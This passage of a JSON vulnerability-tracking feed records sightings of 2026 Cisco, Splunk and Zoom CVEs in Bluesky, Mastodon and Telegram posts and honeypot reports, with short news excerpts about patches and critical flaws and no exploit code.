"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20296", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mup4t3twms2r", "content": "Splunk\u3068Zoom\u304c\u91cd\u5927\u306a\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\nSplunk\u3068Zoom\u306f\u4eca\u9031\u3001\u81ea\u793e\u88fd\u54c1\u306b\u304a\u3051\u308b\u8907\u6570\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u767a\u8868\u3057\u305f\u3002\u3053\u308c\u306b\u306f\u3001\u91cd\u5927\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3084\u6df1\u523b\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3082\u8907\u6570\u542b\u307e\u308c\u3066\u3044\u308b\u3002\n\nSplunk\u304c\u516c\u958b\u3057\u305f5\u3064\u306e\u52e7\u544a\u306e\u3046\u3061\u3001\u81ea\u793e\u88fd\u54c1\u7279\u6709\u306e\u6b20\u9665\u306b\u5bfe\u51e6\u3059\u308b\u3082\u306e\u306f\u308f\u305a\u304b3\u3064\u3067\u3001\u6b8b\u308a\u306e2\u3064\u306f\u30b5\u30fc\u30c9\u30d1\u30fc\u30c6\u30a3\u88fd\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306b\u304a\u3051\u308b\u6570\u5341\u3082\u306e\u30d0\u30b0\u3092\u4fee\u6b63\u3059\u308b\u3082\u306e\u3067\u3042\u308b\u3002\n\nSplunk\u56fa\u6709\u306e\u554f\u984c\u3068\u3057\u3066\u306f\u3001CVE-2026-20296\uff08\u91cd\u5927\u5ea6\u306e\u9ad8\u3044\u30b3\u30de\u30f3\u30c9\u4fdd\u8b77\u30d0\u30a4\u30d1\u30b9\uff09\u3001CVE-2026-20297\uff08\u91cd\u5927\u5ea6\u306e\u9ad8\u3044\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\uff09\u3001\u304a\u3088\u3073CVE-2026-20298\uff08\u4e2d\u7a0b...", "creation_timestamp": "2026-09-04T14:00:59.305821Z"}, {"uuid": "fcd231c3-f810-4ae4-847c-1f73728e2150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20297", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mup4t3twms2r", "content": "Splunk\u3068Zoom\u304c\u91cd\u5927\u306a\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\nSplunk\u3068Zoom\u306f\u4eca\u9031\u3001\u81ea\u793e\u88fd\u54c1\u306b\u304a\u3051\u308b\u8907\u6570\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u767a\u8868\u3057\u305f\u3002\u3053\u308c\u306b\u306f\u3001\u91cd\u5927\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3084\u6df1\u523b\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3082\u8907\u6570\u542b\u307e\u308c\u3066\u3044\u308b\u3002\n\nSplunk\u304c\u516c\u958b\u3057\u305f5\u3064\u306e\u52e7\u544a\u306e\u3046\u3061\u3001\u81ea\u793e\u88fd\u54c1\u7279\u6709\u306e\u6b20\u9665\u306b\u5bfe\u51e6\u3059\u308b\u3082\u306e\u306f\u308f\u305a\u304b3\u3064\u3067\u3001\u6b8b\u308a\u306e2\u3064\u306f\u30b5\u30fc\u30c9\u30d1\u30fc\u30c6\u30a3\u88fd\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306b\u304a\u3051\u308b\u6570\u5341\u3082\u306e\u30d0\u30b0\u3092\u4fee\u6b63\u3059\u308b\u3082\u306e\u3067\u3042\u308b\u3002\n\nSplunk\u56fa\u6709\u306e\u554f\u984c\u3068\u3057\u3066\u306f\u3001CVE-2026-20296\uff08\u91cd\u5927\u5ea6\u306e\u9ad8\u3044\u30b3\u30de\u30f3\u30c9\u4fdd\u8b77\u30d0\u30a4\u30d1\u30b9\uff09\u3001CVE-2026-20297\uff08\u91cd\u5927\u5ea6\u306e\u9ad8\u3044\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\uff09\u3001\u304a\u3088\u3073CVE-2026-20298\uff08\u4e2d\u7a0b...", "creation_timestamp": "2026-09-04T14:00:59.371327Z"}, {"uuid": "30d03219-032f-40da-a125-607494e994ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mup65ivntq27", "content": "CVE-2026-20274 is trending. Hype score 30, currently #1 on cvemon.\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XR Software engineering team has conducted a comprehensive internal security review.\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20274", "creation_timestamp": "2026-09-04T14:24:33.914409Z"}, {"uuid": "0fdf171c-f192-4d12-b78c-6c5b4344816e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mup65kvo332r", "content": "CVE-2026-20279 is trending. Hype score 30, currently #2 on cvemon.\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XR Software engineering team has conducted a comprehensive internal security review.\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20279", "creation_timestamp": "2026-09-04T14:24:35.284642Z"}, {"uuid": "96967773-7743-4403-b879-1d47d6ea9f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "gcve-1-2026-20023", "type": "seen", "source": "https://github.com/ChewKeanHo/software-actualizer/security/advisories/GHSA-3757-943v-g3c5", "content": "", "creation_timestamp": "2026-09-04T15:04:25.956272Z"}, {"uuid": "6739f6c5-7572-4f4c-9953-936b9564cb47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mupefwyd5s25", "content": "Cisco Fixed Critical RCE in Nexus 9000 Series Switches\n\nCisco patched a critical Nexus 9000 vulnerability, CVE-2026-20212, allowing unauthenticated remote root code execution. Cisco has released patches for a critical flaw, tracked as tracked as CVE-2026-20212 (CVSS score of 9.8) \u2026\n#hackernews #news", "creation_timestamp": "2026-09-04T16:16:39.764167Z"}, {"uuid": "becf97f5-42d5-4cf3-a6a4-96a71a75139f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mupkbzachc2y", "content": "\ud83d\udcc8 Trend: The 2026 supply chain arms race.\n\nCisco IMC auth bypass CVE-2026-20093 + SSM On-Prem RCE CVE-2026-20160. Unauthenticated \u2192 Admin \u2192 root via crafted HTTP.\n\nCisco dev env compromised via Trivy supply chain. 300+ repos cloned.\n\n#CyberSecurity", "creation_timestamp": "2026-09-04T18:01:49.428822Z"}, {"uuid": "3437132f-52df-4957-b6f2-328b389d7e60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mupkbzachc2y", "content": "\ud83d\udcc8 Trend: The 2026 supply chain arms race.\n\nCisco IMC auth bypass CVE-2026-20093 + SSM On-Prem RCE CVE-2026-20160. Unauthenticated \u2192 Admin \u2192 root via crafted HTTP.\n\nCisco dev env compromised via Trivy supply chain. 300+ repos cloned.\n\n#CyberSecurity", "creation_timestamp": "2026-09-04T18:01:49.478185Z"}, {"uuid": "2870986d-f818-4894-9489-1b2ac0a8e5f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "published-proof-of-concept", "source": "Telegram/_CQMtoE_EbSJ7yTkSwzPGTr5n5cXGRrCDjqhXlQyTvYmv40", "content": "", "creation_timestamp": "2026-09-05T01:00:30.305867Z"}, {"uuid": "b45abda5-0695-43ad-84c1-f5d3a3cb91e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://t.me/CyberDispatch/2819", "content": "A critical Cisco Nexus 9000 flaw lets unauthenticated remote attackers run code as root.\n\nCVE-2026-20212 leaves TCP ports 43210 and 43211 reachable in the default Layer 3 VRF on 10 switch models.", "creation_timestamp": "2026-09-05T01:00:38.025205Z"}, {"uuid": "39244829-9373-4922-a21e-6dc825ed36bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "exploited", "source": "https://t.me/xssf_forum/60", "content": "\ud83d\udcdd \u0410\u0442\u0430\u043a\u0438 \u043d\u0430 SD-WAN-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 CVE\n\u0421\u041c\u0418 / NEWS\n\nCisco \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-20182 \u0432 SD-WAN \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10 \u0438\u0437 10 \u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 Cisco Catalyst SD-WAN Controller. \u0427\u0435\u0440\u0435\u0437 \u0441\u0435\u0440\u0432\u0438\u0441 vdaemon \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0437\u0430 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0443\u0437\u0435\u043b vHub \u0438 \u0432\u044b\u0434\u0430\u2026\n\n\u0427\u0438\u0442\u0430\u0442\u044c \u0434\u0430\u043b\u0435\u0435", "creation_timestamp": "2026-09-05T01:00:40.475024Z"}, {"uuid": "8cc90462-a85a-4f79-9460-ecd65f4ff286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3muqjskskfk2b", "content": "Cisco SD-WAN\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u30b7\u30b9\u30c6\u30e0\u304c\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u30d0\u30a4\u30d1\u30b9\u653b\u6483\u306b\u3055\u3089\u3055\u308c\u308b\n\n\u30b7\u30b9\u30b3\u306f\u3001\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u30d0\u30a4\u30d1\u30b9\u3001\u4e0d\u6b63\u306a\u6a29\u9650\u6607\u683c\u3001\u6a5f\u5bc6\u30c7\u30fc\u30bf\u306e\u6f0f\u6d29\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u8907\u6570\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3092\u767a\u898b\u3057\u305f\u3053\u3068\u3092\u53d7\u3051\u3001Catalyst SD-WAN\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u91cd\u8981\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002\n\n\u6700\u3082\u6df1\u523b\u306a\u8106\u5f31\u6027\u306f\u3001CVE-2026-20303\u3001CVE-2026-20304\u3001\u304a\u3088\u3073CVE-2026-20310\u3067\u3042\u308a\u3001\u305d\u308c\u305e\u308cCVSS v3.1\u30b9\u30b3\u30a2\u306e\u6700\u5927\u5024\u306f9.9\u3067\u3059\u3002", "creation_timestamp": "2026-09-05T03:25:53.502969Z"}, {"uuid": "4efbe29b-1d97-4d66-a57e-403a0fef0c9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3muqjskskfk2b", "content": "Cisco SD-WAN\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u30b7\u30b9\u30c6\u30e0\u304c\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u30d0\u30a4\u30d1\u30b9\u653b\u6483\u306b\u3055\u3089\u3055\u308c\u308b\n\n\u30b7\u30b9\u30b3\u306f\u3001\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u30d0\u30a4\u30d1\u30b9\u3001\u4e0d\u6b63\u306a\u6a29\u9650\u6607\u683c\u3001\u6a5f\u5bc6\u30c7\u30fc\u30bf\u306e\u6f0f\u6d29\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u8907\u6570\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3092\u767a\u898b\u3057\u305f\u3053\u3068\u3092\u53d7\u3051\u3001Catalyst SD-WAN\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u91cd\u8981\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002\n\n\u6700\u3082\u6df1\u523b\u306a\u8106\u5f31\u6027\u306f\u3001CVE-2026-20303\u3001CVE-2026-20304\u3001\u304a\u3088\u3073CVE-2026-20310\u3067\u3042\u308a\u3001\u305d\u308c\u305e\u308cCVSS v3.1\u30b9\u30b3\u30a2\u306e\u6700\u5927\u5024\u306f9.9\u3067\u3059\u3002", "creation_timestamp": "2026-09-05T03:25:53.561425Z"}, {"uuid": "6cb61124-48e6-4d57-9feb-76059a5f4ff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3muqkkckqn22b", "content": "Cisco\u304cSD-WAN\u3001IOS XE\u3001FMC\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u516c\u958b\n\nCatalyst SD-WAN\u306b\u95a2\u3057\u3066\u3001\u540c\u793e\u306f5\u3064\u306e\u4fee\u6b63\u30d7\u30ed\u30b0\u30e9\u30e0\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u3001\u3053\u308c\u3089\u306eCVE\u306f\u3001\u6839\u672c\u7684\u306a\u8106\u5f31\u6027\u30af\u30e9\u30b9\u3054\u3068\u306b\u30b0\u30eb\u30fc\u30d7\u5316\u3055\u308c\u305f\u8907\u6570\u306e\u8106\u5f31\u6027\u306b\u5272\u308a\u5f53\u3066\u3089\u308c\u3066\u3044\u308b\u3068\u8ff0\u3079\u305f\u3002\n\nCVE\u306e\u3046\u30613\u3064\u3001\u3059\u306a\u308f\u3061CVE-2026-20303\u3001CVE-2026-20304\u3001\u304a\u3088\u3073CVE-2026-20310\u306f\u3001CVSS\u30b9\u30b3\u30a2\u304c9.9\u3067\u3042\u308a\u3001\u30d5\u30a1\u30a4\u30eb\u30a2\u30af\u30bb\u30b9\u524d\u306e\u5165\u529b\u691c\u8a3c\u306e\u4e0d\u5099\u3001\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u4e0d\u5099\u3001\u304a\u3088\u3073\u30ea\u30f3\u30af\u89e3\u6c7a\u306e\u4e0d\u5099\u3068\u3057\u3066\u8aac\u660e\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n\n\u6b8b\u308a\u306e2\u3064\u3001CVE-2026-20312\u3068CVE-2026-20...", "creation_timestamp": "2026-09-05T03:39:08.651945Z"}, {"uuid": "b8a5b06c-e093-4a54-b8f1-ad4fd2468362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20355", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3muqnt5vbfw2f", "content": "CVE-2026-20355 is trending. Hype score 8, currently #6 on cvemon.\n\nMultiple vulnerabilities in the Secure/Multipurpose Internet Mail Extensions (S/MIME) decryption functionality of Cisco Secure Email could allow an unauthenticated, remote attacker to\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20355", "creation_timestamp": "2026-09-05T04:37:45.673265Z"}, {"uuid": "a486c018-659a-4701-8904-ae840c7dbd29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20354", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mur4xqir352f", "content": "CVE-2026-20354 is trending. Hype score 8, currently #6 on cvemon.\n\nMultiple vulnerabilities in the Secure/Multipurpose Internet Mail Extensions (S/MIME) decryption functionality of Cisco Secure Email could allow an unauthenticated, remote attacker to\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20354", "creation_timestamp": "2026-09-05T09:08:46.334932Z"}, {"uuid": "fc0f40fe-aa98-4003-95ea-b708cbbb606c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-04)", "content": "", "creation_timestamp": "2026-09-05T10:15:36.949253Z"}, {"uuid": "4451d4ad-0518-42bf-9e9f-85f676136610", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20212", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3murbjitflo2t", "content": "Cisco Patches Critical RCE in Nexus 9000 Switches https://0daynews.com/articles/2026-09-04-cisco-nexus-9000-cve-2026-20212-critical-rce", "creation_timestamp": "2026-09-05T10:30:16.874890Z"}, {"uuid": "8d6dd820-baa7-42a7-bcd5-dec9dad8d01a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20212", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3murfpkogf723", "content": "Unauthenticated RCE in Cisco Nexus 9000 Silicon One Switches https://0daynews.com/cves/cve-2026-20212", "creation_timestamp": "2026-09-05T11:45:14.883143Z"}, {"uuid": "a1e298ec-be2e-455f-a8e5-f1e862e8e1af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117219342884656217", "content": "\ud83d\udcf0 Cisco Patches Three Critical Flaws in IOS XR Network Software\nCisco patches 3 critical (CVSS 9.8) remote code execution vulnerabilities in IOS XR software (CVE-2026-20274, CVE-2026-20279, CVE-2026-20212). No active exploitation known, but immediate patching is urged. #Cisco #CyberSecurity #RCE #Networking\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisco-patches-three-critical-vulnerabilities-in-ios-xr-software/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-09-05T16:20:40.383860Z"}, {"uuid": "475b149f-658b-4962-82f7-34f549a91863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117219342884656217", "content": "\ud83d\udcf0 Cisco Patches Three Critical Flaws in IOS XR Network Software\nCisco patches 3 critical (CVSS 9.8) remote code execution vulnerabilities in IOS XR software (CVE-2026-20274, CVE-2026-20279, CVE-2026-20212). No active exploitation known, but immediate patching is urged. #Cisco #CyberSecurity #RCE #Networking\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisco-patches-three-critical-vulnerabilities-in-ios-xr-software/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-09-05T16:20:40.447764Z"}, {"uuid": "0773c796-8717-4c91-98fe-e23ec17d157f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117219342884656217", "content": "\ud83d\udcf0 Cisco Patches Three Critical Flaws in IOS XR Network Software\nCisco patches 3 critical (CVSS 9.8) remote code execution vulnerabilities in IOS XR software (CVE-2026-20274, CVE-2026-20279, CVE-2026-20212). No active exploitation known, but immediate patching is urged. #Cisco #CyberSecurity #RCE #Networking\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisco-patches-three-critical-vulnerabilities-in-ios-xr-software/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-09-05T16:20:40.492010Z"}, {"uuid": "1726bfa5-df35-4535-8d42-ff7a6fba49fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3murv4cxd6m2r", "content": "Cisco patches 3 critical (CVSS 9.8) remote code execution vulnerabilities in IOS XR software (CVE-2026-20274, CVE-2026-20279, CVE-2026-20212). No active exploitation known, but immediate patching is urged. #Cisco #CyberSecurity #RCE #Networking\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-09-05T16:20:49.477434Z"}, {"uuid": "163d6ff4-f415-4aa5-8268-d50dce57f9f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3murv4cxd6m2r", "content": "Cisco patches 3 critical (CVSS 9.8) remote code execution vulnerabilities in IOS XR software (CVE-2026-20274, CVE-2026-20279, CVE-2026-20212). No active exploitation known, but immediate patching is urged. #Cisco #CyberSecurity #RCE #Networking\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-09-05T16:20:49.531055Z"}, {"uuid": "f9a456b8-ef7d-4fee-97cc-e0cf08b850be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3murv4cxd6m2r", "content": "Cisco patches 3 critical (CVSS 9.8) remote code execution vulnerabilities in IOS XR software (CVE-2026-20274, CVE-2026-20279, CVE-2026-20212). No active exploitation known, but immediate patching is urged. #Cisco #CyberSecurity #RCE #Networking\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-09-05T16:20:49.576837Z"}, {"uuid": "1016dd98-bc7f-4aa8-a718-573cf581eaae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://bsky.app/profile/securitycyebruk.bsky.social/post/3murwahc4xd2n", "content": "Cisco IOS XR: unauthenticated remote compromise (CVE-2026-20274, CVSS 9.8) affects all releases. No workarounds; patch to 26.2.2/26.3.1 or apply SMUs. https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-iosxr-qg64NcM", "creation_timestamp": "2026-09-05T16:41:01.720130Z"}, {"uuid": "957486c6-f2fb-414e-9658-06df030d1610", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3musovxucsz2t", "content": "CVE-2026-20212: Critical Cisco Nexus 9000 Flaw Enables Unauthenticated Root RCE\n\n", "creation_timestamp": "2026-09-06T00:02:33.997877Z"}, {"uuid": "fef2c232-c3ec-4f36-9dca-f4e1c36f5328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20212", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mussy2vkob23", "content": "Cisco Patches Critical RCE in Nexus 9000 Switches \u2014 Cisco has patched a CVSS 9.8 flaw in ten Silicon One Nexus 9000 switches\u2026 https://0daynews.com/articles/2026-09-04-cisco-nexus-9000-cve-2026-20212-critical-rce?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-953", "creation_timestamp": "2026-09-06T01:15:19.755539Z"}, {"uuid": "8be22d9d-5288-44f6-9782-8356902d5c1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "published-proof-of-concept", "source": "Telegram/sJjjpcpFKkHhx7Z_cZZyZ2nlyOSKWm37fVXPEhiswF_MZf0", "content": "", "creation_timestamp": "2026-09-07T06:00:06.341928Z"}, {"uuid": "e112640c-3ceb-482f-9f2b-917b16062e7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "Telegram/zTLWDTjI8aNlfNOrqRvaLcWsOXCWe-z-FjDbmO4DXVBEXpo", "content": "", "creation_timestamp": "2026-09-07T08:00:04.698669Z"}, {"uuid": "018c1c70-7757-4a60-a0b5-e07165f0da00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20637", "type": "seen", "source": "Telegram/m8SWfVeZlticuBT317GgsGZAEtL8zbxvMheXkcIiGwkXhdo", "content": "", "creation_timestamp": "2026-09-07T12:00:03.591958Z"}, {"uuid": "f877abf1-8371-4926-b162-f5da3e1fff2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3muwjv4qngc2a", "content": 